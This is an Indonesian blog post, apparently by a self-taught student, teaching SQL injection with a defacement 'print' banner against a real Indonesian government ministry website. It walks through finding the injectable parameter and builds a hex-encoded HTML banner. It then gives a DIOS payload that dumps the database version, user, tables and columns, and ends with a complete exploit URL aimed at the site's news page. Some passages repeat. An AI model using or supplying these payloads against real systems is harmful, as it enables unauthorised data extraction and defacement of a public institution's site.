Belajar Sql Print Nick + Gambar + Database
Kali ini Saya mau kasih Tutor Sql Print :v.
Oke Langsung Saja SImak Tutorialnya
Cari Target Yang Mao Di Sql Print
Target : http://setjen.kemendagri.go.id/
Oke Pertama Yang Dilakukan adalah Mencari Bug
Ini Bug Nya :v .
Pertama Di Kasih ' ea :v
Setelah Itu Tambahkan +select+order+by+1--+-
Buat Nya Pake Code Html ea
<center> <img src="http://www.thaicatclub.com/p.jpg" width="250" heigth="250"><br><font size="7" color="black">Inject By Tampansky</font><center>
Misal Seperti Itu Ea :v
Dios: ,Concat(,version(),%27<br>%27,user(),%27<br>%27,database(),(select(select%20concat(@:=0xa7,(select%20count(*)from(information_schema.columns)where(table_schema=database())and(@:=concat(@,%27<br>%27,%27<font%20color=green%20size=3>%27,table_name,%27</font>%20%27,%27%20%C2%A0::%20%C2%A0%27,%27<font%20color=blue%20size=3>%27,column_name))),@))))--+-
Nah Setelah Itu Tinggal Kita Gabungkan Query Ama Diosnya.
<center> <img src="http://www.thaicatclub.com/p.jpg" width="250" heigth="250"><br><font size="7" color="black">Inject By Tampansky</font><center>
Misal Seperti Itu Ea :v
Dios: ,Concat(,version(),%27<br>%27,user(),%27<br>%27,database(),(select(select%20concat(@:=0xa7,(select%20count(*)from(information_schema.columns)where(table_schema=database())and(@:=concat(@,%27<br>%27,%27<font%20color=green%20size=3>%27,table_name,%27</font>%20%27,%27%20%C2%A0::%20%C2%A0%27,%27<font%20color=blue%20size=3>%27,column_name))),@))))--+-
Nah Setelah Itu Tinggal Kita Gabungkan Query Ama Diosnya.
http://setjen.kemendagri.go.id/news_detail.php?id=.10%27+and+false+union+select+1,2,Concat+(0x3C63656E7465723E203C696D67207372633D22687474703A2F2F7777772E74686169636174636C75622E636F6D2F702E6A7067222077696474683D2232353022206865696774683D22323530223E3C62723E3C666F6E742073697A653D22372220636F6C6F723D22626C61636B223E496E6A6563742042792054616D70616E736B793C2F666F6E743E3C63656E7465723E,version(),%27%3Cbr%3E%27,user(),%27%3Cbr%3E%27,database(),(select(select%20concat(@:=0xa7,(select%20count(*)from(information_schema.columns)where(table_schema=database())and(@:=concat(@,%27%3Cbr%3E%27,%27%3Cfont%20color=green%20size=3%3E%27,table_name,%27%3C/font%3E%20%27,%27%20%C2%A0::%20%C2%A0%27,%27%3Cfont%20color=blue%20size=3%3E%27,column_name))),@)))),4,5,6,7,8--+-
Yoo, Nama saya Hadi Prasetia, Singkatanya Harsia, Cuman Seorang Pelajar Yang Belajarnya dirumah doank >_<
Belum ada Komentar untuk "Belajar Sql Print Nick + Gambar + Database"
Posting Komentar